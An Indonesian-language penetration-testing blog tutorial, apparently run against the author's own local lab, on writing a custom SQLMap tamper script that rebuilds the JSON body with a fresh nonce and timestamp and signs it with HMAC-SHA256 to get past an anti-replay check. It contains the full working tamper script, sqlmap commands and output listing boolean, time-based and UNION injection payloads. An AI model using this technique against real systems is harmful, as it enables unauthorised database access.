Membuat Custom Tamper SQLMap: Bypass Request Signature & Anti Replay Attack pada SQL Injection

Karjok Pangesty () on linux

Membuat Custom Tamper SQLMap: Bypass Request Signature & Anti Replay Attack pada SQL Injection - Karjok Pangesty

Sebelumnya, gw udah bahas gimana cara reversing JavaScript di web buat ngebongkar mekanisme anti Replay Attack, biar request bisa kita reproduce dan dimodif lagi. Ini kepake banget kalau mau lanjut eksplorasi ke SQL Injection, IDOR, atau vulnerability lain yang butuh kirim ulang request dengan payload, parameter, atau header yang diubah.

INFO

Kalau belum baca artikel sebelumnya, mending baca dulu biar tau konteks: Membongkar Obfuscated JavaScript di Web App: Reversing Client-Side Crypto & Replay Attack

Masalahnya, di dunia nyata, request itu jarang yang “polos”. Banyak aplikasi sekarang nerapin mekanisme tambahan, kayak signature berbasis HMAC, nonce, timestamp, atau bahkan kombinasi semuanya. Jadi tiap request yang dikirim harus punya nilai dinamis yang valid. Kalau nggak, request bakal langsung ditolak sebelum sempet nyentuh logic backend yang pengen kita test.

Coba amati gambar berikut;

SQL Error Syntax

Terlihat login gagal dengan SQL Syntax Error pada saat kita coba inject payload single quote (') di kolom username, menandakan kalau web ini rentan terhadap serangan SQL Injection.

Coba kita gunakan SQLMap untuk eskploitasi otomatis:

SQLMap Unauthorized Error

SQLMap gagal mengeksploit secara otomatis karena server menolak request dengan memberikan error code 401 Unauthorized. Nyerah ? Jangan.

Di titik ini, tools SQLMap mulai kelihatan limitnya. Bukan karena dia jelek, tapi karena dia generic. Dia nggak tau logic custom yang dipake sama target. Jadi walaupun endpoint-nya vulnerable, SQLMap bisa gagal total cuma gara-gara request yang dikirim nggak lolos validasi di layer awal.

Nah, kalau kalian udah baca artikel gw sebelumnya, kita udah dapet insight gimana cara generate nilai-nilai itu secara manual. Malasah berikutnya, gimana caranya biar proses itu bisa diintegrasiin ke SQLMap, biar dia tetep bisa jalan otomatis tapi request-nya udah sesuai sama mekanisme target?

Di sinilah script tamper jadi kepake.

Artikel ini ditujukan buat yang udah tau SQLMap, dan tau kalau dia punya fitur tamper, tapi belum ngerti cara bikin tamper sendiri. Soalnya di kondisi real, tiap target beda-beda, dan tamper bawaan SQLMap seringkali nggak cukup buat nge-handle logic custom kayak gini.

Tujuan kita di sini bukan cuma sekadar pake tamper yang udah ada, tapi bikin tamper sendiri yang bisa:

  • ngebentuk ulang payload biar sesuai format yang diharapkan server
  • nambahin header custom X-Signature yang digenerate dari payload, nonce dan timestamp.
  • dan yang paling penting, bikin SQLMap tetep relevan walaupun target punya proteksi non-standar

Jadi intinya, kita bakal “maksa” SQLMap buat ngerti behavior target, bukan cuma ngandelin default behavior dia doang.

SQLMap

Buat yang belum tau (aneh sih kalo udah nyampe sini tapi belum tau sqlmap), SQLMap adalah tool powerful buat eksploitasi kerentanan SQL Injection secara otomatis. Dia bakal ngejalanin berbagai payload dan teknik buat ngenalin tipe SQL Injection yang ada, terus lanjut dieksploitasi secara otomatis.

SQLMap: https://sqlmap.org/

Tool ini open source, jadi lu bisa liat langsung kodenya, ngerti cara kerjanya, atau bahkan kontribusi lewat repository GitHub-nya: https://github.com/sqlmapproject/sqlmap

Di kondisi normal, maksudnya nggak ada mekanisme blocking aneh-aneh dari server, SQLMap biasanya bisa jalan lancar. Tapi kalau target punya behavior tertentu (kayak WAF, filtering, atau mekanisme custom), SQLMap udah nyediain script tamper bawaan yang bisa langsung dipake lewat flag --tamper.

Contoh, misalnya payload perlu di-URL encode buat nge-bypass WAF, bisa langsung pakai --tamper charencode:

sqlmap -u http://127.0.0.1 --data "username=admin&password=admin" --tamper charencode

Selain charencode, SQLMap juga punya banyak tamper lain yang bisa dilihat pakai flag --list-tamper:

sqlmap --list-tamper

Nanti SQLMap bakal nampilin semua script tamper bawaan yang bisa dipake sesuai kebutuhan kondisi target.

SQLMap List Tampers

SQLMap Tamper

Simpelnya, tamper itu ekstensi yang ngatur gimana SQLMap bisa ngubah request atau payload sebelum dikirim ke server target. Jadi bukan sekadar dikirim mentah, tapi bisa dimodif dulu sesuai kebutuhan.

Secara default, SQLMap udah nge-handle banyak hal (kayak encoding, variasi payload, dll). Tapi dia nggak ngelakuin modifikasi spesifik buat nge-bypass mekanisme tertentu. Di sinilah tamper dipake.

Karena SQLMap dibuat pake Python, tamper ini bentuknya module Python yang di-load pas proses jalan. Dengan tamper, payload SQL Injection bisa diubah-ubah, misalnya buat nge-bypass WAF yang deteksi pattern SQL umum, atau buat nyesuaiin sama behavior custom dari web/API target (kayak encoding aneh, signature, dll).

Fokus kita di artikel ini adalah untuk membuat custom tamper SQLMap yang bisa menggenerate nilai X-Signature dari JSON string post data yang di-hash HMAC-SHA256 dengan menggunakan script Python dari artikel sebelumnya (signature_generator.py):

import hashlib
import hmac
import json
import secrets
import time
import requests

API_URL = 'http://localhost:5000/api/data'
SECRET_KEY = 'ThisIsASecretKeyForHMACSignature12345!'

def generate_signature(data_string, secret_key):
    signature = hmac.new(
        secret_key.encode('utf-8'),
        data_string.encode('utf-8'),
        hashlib.sha256
    ).hexdigest()
    return signature

def generate_nonce():
    return secrets.token_hex(16)

def login_with_signature(username, password):
    payload = {
        'username': username,
        'password': password,
        'timestamp': int(time.time()),
        'nonce': generate_nonce(),
        'action': 'login'
    }
    
    json_data = json.dumps(payload)
    signature = generate_signature(json_data, SECRET_KEY)
    
    headers = {
        'Content-Type': 'application/json',
        'x-signature': signature
    }
    
    response = requests.post(API_URL, json=payload, headers=headers)
    return response
if __name__ == "__main__":
    response = login_with_signature("test","test")
    print(response.json())

INFO

Meskipun sebenernya ini bukan kewajiban karena sekarang udah ada AI, tapi untuk bisa ngikutin artikel ini, kalian harus ada basic Python. Karena ya SQLMap sendiri pakai Python sebagai script tampernya. Tapi kalau mau pakai AI, kalian harus bener-bener ngerti apa yang akan kalian buat biar AI juga paham apa yang lu maksud dan ngasih script tamper yang work.

Bongkar Script Tamper sampai ke akar-akarnya

Sebelum kita buat script tamper customnya, kita harus tau dulu, sebenernya script tamper ini seperti apa strukturnya dan gimana cara kerjanya. Ini akan jadi section yang sedikit agak panjang karena gw akan bedah se-detail mungkin biar kalian ngerti apa yang menjadi poin kita kali ini. Jadi gw harap kalian baca bagian ini dengan santai dan pelan, jangan skip-skip. wkwkwk.

Oke, pada dasarnya, script tamper punya struktur seperti berikut:


from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    Semua custom logic untuk script tamper harus ada disini.
    """
    if payload:
        # Contoh: payload akan ditambahkan custom comment /* ... */
        payload += " /* ini dikomentar */"
    return payload

Biar kita makin paham, coba kita cek dulu actual code dari salah satu script tamper bawaan SQLMap. Sebagai contoh, kita akan cek isi kode dari tamper charencode (bisa kalian cek juga sourcenya dari Githubnya: https://raw.githubusercontent.com/sqlmapproject/sqlmap/refs/heads/master/tamper/charencode.py):


#!/usr/bin/env python

"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""

import string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset
        * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS

    >>> tamper('SELECT FIELD FROM%20TABLE')
    '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += payload[i:i + 3]
                i += 3
            else:
                retVal += '%%%.2X' % ord(payload[i])
                i += 1

    return retVal

Bisa dilihat, isinya cuman import PRIORITY dan juga satu fungsi bernama tamper() dengan 1 positional parameter (parameter wajib) payload dan optional parameter **kwargs (depedencies gapernah dipanggil).

Kode-kode di atas punya tujuan akhir yang jelas, yaitu me-return string payload yang sudah diproses.

Fokus kita untuk script tamper hanya pada variabel __priority__ dan juga fungsi tamper():

  1. __priority__

    PRIORITY dipake oleh SQLMap untuk tau, script tamper yang di load ini akan dieksekusi di urutan keberapa. Kalau kita cuma load 1 script tamper, maka PRIORITY ini ngga akan berpengaruh apa-apa. Tapi misalkan kita load script tamper lebih dari satu, maka SQLMap akan baca value dari PRIORITY ini sebagai acuan kapan SQLMap harus mengeksekusi scriptnya.

    Kenapa ini penting ?

    Misalkan kita load 2 script tamper: randomcase dan charencode. Masing-masing script punya tujuan yang berbeda-beda. randomcase memproses payload menjadi case acak, misalkan SELECT jadi string SEleCt, sedangkan charencode mengenkode semua string payload menjadi string URL Encode, misalnya SELECT menjadi string %53%45%4C%45%43%54.

    Jadi kalau kita pikir secara logika, seharusnya SQLMap memproses tamper randomcase dulu (SELECT jadi string SEleCt) baru memanggil tamper charencode untuk memproses hasil randomcase menjadi string URL Encode (SEleCt menjadi %53%45%6C%65%43%74).

    Kalau SQLMap salah baca priority, misalnya SQLMap malah manggil charencode duluan, yang mana memproses string SELECT menjadi url-encode: %53%45%4C%45%43%54, lalu manggil randomcase yang mengubah string url-encoded tersebut menjadi %53%45%4c%45%43%54 (C nya jadi kecil), maka usaha kita buat membypass filtering ngga akan berpengaruh karena payload kita hanya diubah menjadi url-encode, tanpa mengubah payload kita menjadi random case.

    Pada SQLMap, ada beberapa priority yang didukung (biar Pythonic):

    • PRIORITY.LOWEST
    • PRIORITY.LOWER
    • PRIORITY.LOW
    • PRIORITY.NORMAL
    • PRIORITY.HIGH
    • PRIORITY.HIGHER
    • PRIORITY.HIGHEST

    Tapi, priority-priority tersebut hanyalah angka dari -100 (LOWEST) sampai 100 (HIGHEST). Kalian bisa cek sendiri di kodenya langsung (https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/enums.py):

    ...
    
    class PRIORITY(object):
      LOWEST = -100
      LOWER = -50
      LOW = -10
      NORMAL = 0
      HIGH = 10
      HIGHER = 50
      HIGHEST = 100
    ...
    
    

    Jadi, kalau kalian lihat script tamper yang mengimport from lib.core.enums import PRIORITY, itu sebenrnya nggak begitu penting karena bisa kalian langsung isi ke angka-angka dari -100 sampai 100, misalnya: __priority__ = 75.

    INFO

    Pada intinya, ketika kalian membuat script tamper sendiri, kalian harus paham dan bisa menentukan kapan script tamper kalian harus di load biar ngga tumpang tindih dengan tamper yang lain. Tentunya biar script tamper kalian ngga sia-sia terlebih kalau kalian harus load tamper lebih dari 1.

  2. tamper()

    Saat SQLMap me-load script tamper, yang akan dicari pada kode setelah priority adalah fungsi tamper(). Semua logic tamper script harus dipanggil melalui fungsi ini. Kalau fungsi ini ngga ada,

    Missing Tamper Function

    saat dipakai di SQLMap akan error kaya gini:

    Tamper Error

    Inti dari fungsi ini adalah untuk memproses parameter payload yang diberikan dan me-return hasilnya. Tapi pada prosesnya, kita kadang butuh juga memproses nilai lain misalkan full post body dan header nya. Disinilah kita juga bisa membuat fungsi-fungsi lain, tapi tetap harus dipanggil dari fungsi tamper() ini.

    Tapi apa kegunaan parameter kedua dari fungsi tamper() yaitu **kwargs ? Kita perlu tau dulu, sebenernya apa yang dikirim oleh SQLMap ke parameter kedua tersebut. Untuk ini, gw bikin script test-tamper.py yang gw pakai untuk demo di atas dan gw sedikit modifikasi untuk melihat apa nilai dari parameter **kwargs.

    Print Kwargs Parameter

    Lalu gw coba load tamper tersebut ke SQLMap untuk melihat outputnya:

    Kwargs Parameter Value

    Terlihat kalau nilai dari parameter **kwargs adalah object dengan value:

    
    {
       "headers": {},
       "delimiter": "&",
       "hints": {}
    }
    

    Karena di artikel ini fokus kita adalah untuk memodifikasi custom header X-Signature, maka kita juga butuh memproses parameter **kwargs juga, tepatnya untuk nilai headers.

    Beda dengan payload yang harus di return, nilai header ini ngga perlu di return. Jadi semua proses modifikasi header terjadi di dalam fungsi tamper() itu sendiri. Mari kita modifikasi lagi script test-tamper.py untuk mengubah header User-Agent:

    __priority__ = 100
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        # ambil nilai header dari SQLMap
        headers = kwargs.get("headers")
    
        # Nilai header yang akan kita atur sebagai request header SQLMap
        custom_header = {
            "User-Agent": "Modified from tamper script"
        }
        headers.update(custom_header)
        return payload
    

    Dengan script di atas, SQLMap akan memodifikasi header on the fly tanpa mereturn header yang dimodifikasi. Kita bisa melihat header request dari SQLMap dengan menambahkan verbosity (-v) ke command kita agar SQLMap menampilan requeest headersnya:

    sqlmap -u http://localhost:5000/api/data \
        --data='{"username":"admin","password":"admin","timestamp":1777694210,"nonce":"40f3f786df8eb8d2fd7bb96d5efa753b","action":"login"}' \
        --tamper test-tamper.py \
        --ignore-code 401 \
        -v 4
    

    SQLMap Log Showing Request Headers

    Dengan begitu, artinya kita punya kendali atas header apa yang akan dikirim oleh SQLMap ketika melakukan exploit, termasuk header X-Signature kita nantinya.

Sampai sini, seharusnya kalian udah dapet pointnya, yaitu:

  • Kita perlu paham apa yang akan dilakukan oleh script tamper yang kita buat
  • Menentukan __priority__ dari script tamper kita
  • Membuat fungsi yang mengolah payload SQL Injection dan header yang dipanggil melalui fungsi tamper().

Waktunya Memasak

Coba sedikit kita inget-inget dulu apa yang diterapkan oleh web dari artikel sebelumnya sebagai mekanisme 'Anti Replay Attack':

  • Web nge-post data ke endpoint http://localhost:5000/api/data, dengan payload: {"username":"test","password":"test","timestamp":<current_time>,"nonce":"<32 hex char>","action":"login"} dan custom header X-Signature.

  • X-Signature di-generate dengan cara nge-sign JSON string data post pakai HMAC-SHA256 dan secret key: "ThisIsASecretKeyForHMACSignature12345!".

Dari artikel sebelumnya juga, kita udah membuat script python yang menggenerate nilai dari X-Signature (signature_generator.py):


import hashlib
import hmac
import json
import secrets
import time
import requests

API_URL = 'http://localhost:5000/api/data'
SECRET_KEY = 'ThisIsASecretKeyForHMACSignature12345!'

def generate_signature(data_string, secret_key):
    signature = hmac.new(
        secret_key.encode('utf-8'),
        data_string.encode('utf-8'),
        hashlib.sha256
    ).hexdigest()
    return signature

def generate_nonce():
    return secrets.token_hex(16)

def login_with_signature(username, password):
    payload = {
        'username': username,
        'password': password,
        'timestamp': int(time.time()),
        'nonce': generate_nonce(),
        'action': 'login'
    }
    
    json_data = json.dumps(payload)
    signature = generate_signature(json_data, SECRET_KEY)
    
    headers = {
        'Content-Type': 'application/json',
        'x-signature': signature
    }
    
    response = requests.post(API_URL, json=payload, headers=headers)
    return response

Yang kita butuhin dari script tesebut adalah fungsi generate_nonce() dan juga generate_signature().

INFO

Script dan web demo yang gw pake ada di Github: https://github.com/karjok/pentestlab/tree/main/secure-but-unsecure, jadi kalian bisa ikutin artikel ini atau sekedar mau coba-coba labnya.

Oke, sekarang mari kita mulai "meracik" script tamper kita. Gw akan namai script tamper kita sebagai signature.py, gw simpen di dalam directory my-tamper.

Oh iya, ada satu yang terlewat. Di folder yang sama dengan script tamper harus ada file dengan nama __init__.py. Ini akan memberitahu SQLMap bahwa signature.py adalah module Python yang bisa diload. Jadi kurang lebih struktur direktory my-tamper gw adalah kaya gini:


karjok@zorinOS ~/B/a/custom-sqlmap-tamper> tree my-tamper/
my-tamper/
├── __init__.py
└── signature.py

0 directories, 3 files
karjok@zorinOS ~/B/a/custom-sqlmap-tamper> 

Gas kita tulis script signature.py kita.

  1. Signature Generator

    Kita perlu copy fungsi generate_nonce() dan juga generate_signature() dari script signature_generator.py yang sudah dibuat dari artikel sebelumnya dan paste di script tamper signature.py kita.

    
     import secrets
     import hashlib
     import hmac
     import json
     import time
    
     __priority__ = 100
    
    
     SECRET_KEY = 'ThisIsASecretKeyForHMACSignature12345!'
    
     def generate_signature(data_string, secret_key):
         signature = hmac.new(
             secret_key.encode('utf-8'),
             data_string.encode('utf-8'),
             hashlib.sha256
         ).hexdigest()
         return signature
    
     def generate_nonce():
         return secrets.token_hex(16)
    

    Disini gw buat prioritya 100 karena gw ga akan load script tamper apapun selain script tamper yang sedang kita buat sekarang. Jadi priority ini ngga berpengaruh apa-apa.

  2. Post Body Processor

    Karena post body ini nantinya tidak kita masukkan langsung ke command SQLMap (jadi SQLMap hanya mengirim payload SQL Injection ke script tamper kita), kita perlu menyusun post body secara manual melalui script tamper kita. Payload SQL Injection yang dikirim oleh SQLMap akan kita masukkan kedalam kolom username.

    
     def generate_post_body(payload):
         post_body = {
             'username': f"admin{payload}",
             'password': "admin",
             'timestamp': int(time.time()),
             'nonce': generate_nonce(),
             'action': 'login'
         }
     return post_body
    

    Nah kalau dibaca, payload yang dikirim oleh SQLMap akan kita gabungkan dengan nilai dari kolom username. Jadi misalkan SQLMap mengirim payload ' (single quote), maka username akan menjadi admin'.

    nonce sendiri akan otomatis di generate oleh fungsi generate_nonce().

    Hasil akhirnya adalah sebuah Json Object yang sudah siap dikirim ke server.

  3. Core of The Core

    Disinilah fungsi-fungsi tadi kita panggil, di dalam fungsi tamper().

     def tamper(payload, **kwargs):
    
         ## mengenerate post body dengan menambahkan timestamp dan nonce baru, serta username yang diubah menjadi admin{payload}
         final_payload = generate_post_body(payload)
    
         ## menggenerate signature, hasil dari sign JSON string dari final_payload dengan secret key dan HMAC SHA256
         signature = generate_signature(json.dumps(final_payload), SECRET_KEY)
    
         # Mengambil header dari kwargs jika ada, jika tidak buat header baru
         headers = kwargs.get('headers', {})
    
         ## Menambahkan signature ke header dengan nama x-signature
         headers['x-signature'] = signature
    
         ## Mengubah content type menmjadi application/json
         headers['content-type'] = "application/json"
    
         return json.dumps(final_payload)
    

    Bisa dilihat, flownya dari fungsi fungsi di atas adalah membuat post body yang sudah kita sisipi payload SQL Injection, timestamp dan nonce dan disimpan didalam variable final_payload, lalu membuat nilai dari X-Signature dengan mengubah JSON Object dari post body menjadi JSON String dan di hash dengan SECRET_KEY.

    Hasil hashing akan dijadikan sebagai nilai dari header X-Signature dengan menambahkan header custom ke header yang diambil dari kwargs. Karena SQLMap mereturn JSON string, kita harus memberi tahu SQLMap untuk mengirim data sebagai JSON object dengan menambahkan header Content-Type dengan value application/json.

    Terakhir, variable final_payload kita return sebagai data yang harus dikirim oleh SQLMap sebagai data post (Sudah jadi JSON string, bukan payload SQL Injection).

Racikan kita diatas akan menghasilkan sebuah script tamper custom yang sudah siap digunakan untuk "melawan" mekanisme "anti replay attack" yang digunakan oleh website/API yang menjadi target kita, yang mana adalah penghalang SQLMap untuk melakukan tugasnya.


## tamper script custom untuk bypass anti replay attack.

import secrets
import hashlib
import hmac
import json
import time

__priority__ = 100


SECRET_KEY = 'ThisIsASecretKeyForHMACSignature12345!'

def generate_signature(data_string, secret_key):
    signature = hmac.new(
        secret_key.encode('utf-8'),
        data_string.encode('utf-8'),
        hashlib.sha256
    ).hexdigest()
    return signature

def generate_nonce():
    return secrets.token_hex(16)


def generate_post_body(payload):
    post_body = {
        'username': f"admin{payload}",
        'password': "admin",
        'timestamp': int(time.time()),
        'nonce': generate_nonce(),
        'action': 'login'
    }
    return post_body

def tamper(payload, **kwargs):

    ## mengenerate post body dengan menambahkan timestamp dan nonce baru, serta username yang diubah menjadi admin{payload}
    final_payload = generate_post_body(payload)

    ## menggenerate signature, hasil dari sign JSON string dari final_payload dengan secret key dan HMAC SHA256
    signature = generate_signature(json.dumps(final_payload), SECRET_KEY)

    # Mengambil header dari kwargs jika ada, jika tidak buat header baru
    headers = kwargs.get('headers', {})

    ## Menambahkan signature ke header dengan nama x-signature
    headers['x-signature'] = signature

    ## Mengubah content type menmjadi application/json
    headers['content-type'] = "application/json"

    return json.dumps(final_payload)

3XPL01T

Kalau kalian bisa mengikuti artikel ini sampai bagian ini, kalian sebenernya sudah selesai dan harusnya sudah tau poin dari artikel ini. Kalau belum, sebaiknya kalian baca lagi pelan-pelan, baik dari artikel sebelumnya atau baca lagi di bagian bongkar-bongkar di atas.

Sekarang, kita coba buktikan, apakah usaha panjang yang udah kita lakukan berhasil atau nggak.

Gw akan coba load script tamper signature.py dengan SQLMap dengan command kaya gini;

sqlmap -u http://localhost:5000/api/data \
    --data='*' \
    --tamper my-tamper/signature.py \
    --skip-urlencode \
    --ignore-code 401 \
    --level 3 \
    --risk 3

--skip-urlencode digunakan agar SQLMap tidak mengenkode payload yang di return menjadi url-encoded. Ini penting karena target kita kali ini mengharuskan data yang dikirim harus berupa JSON (application/json), bukan string.

--level 3 dan --risk 3 digunakan biar SQLMap menguji payload dengan metode yang ditingkatkan. --level untuk seberapa banyak payload yang akan digunakan dan --risk digunakan untuk mengontrol bagaimana data payload dimodifikasi.

Ketika dijalankan:

Pwn3d

Dengan ajaibnya kita berhasil mengeksploitasi kerentanan yang ada pada web tersebut dengan SQLMap !

Output SQLMap menunjukan data-data seperti tipe SQL Injection juga backend database yang gigunakan.

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
<h3>sqlmap identified the following injection point(s) with a total of 120 HTTP(s) requests:</h3>Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: -8934' OR 7590=7590-- waIJ

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: ' AND 8034=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- OoVA

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
<h3>Payload: -3520' UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113,112,122,107,113)||CHAR(66,65,76,119,88,98,99,102,68,86,86,89,100,105,66,115,74,122,79,87,79,103,108,100,101,121,77,100,119,110,101,112,82,87,66,97,79,121,80,119)||CHAR(113,112,107,113,113)-- QgJm</h3>[16:41:50] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[16:41:50] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite

Clossing..

Di artikel ini, kita berhasil mendapatkan kerentanan SQL Injection bahkan mengeksploitasinya dengan SQLMap. Dimulai dengan menganalisa dan melakukan reversing kode JavaScript di artikel sebelumnya untuk memahami bagaimana web mengolah data login hingga mekanisme anti replay attack dengan penerapan x-signature di tiap requestnya, memahami bagaimana script tamper SQLMap bekerja bahkan meracik custom tamper SQLMap sendiri, rasanya sangat panjang dan melelahkan.

Tapi meskipun begitu, semuanya terbayar tuntas, yakan ??

Harapan gw dari nulis artikel ini dan artikel sebelumnya adalah, selain buat catatan pribadi, gw juga pengen share ke kalian agar kalian juga tau (buat ytta) apa yang sebenernya bisa dilakukan ketika kita menemukan case serupa suatu hari pada saat kita melakukan pentration testing. Kita nggak lagi bingung atau bahkan nyerah.

Rasanya malu ketika seorang "Pentester" tapi ngga nemu "Finding" (pengalaman pribadi :v).

Seorang "legenda hacker" dari Oslo pernah berkata:

"Di block WAF saya diam, kena rate-limit dan request throttling saya juga diam, IP kena block, di blacklist saya diam. Tapi hari ini, dengan custom tamper script, saya sampaikan saya akan lawan !!"

Semoga artikel gw kali ini bisa ngasih manfaat buat kalian. Terimakasih sudah membaca, sampai jumpa di artikel-artikel selanjutnya !

143
×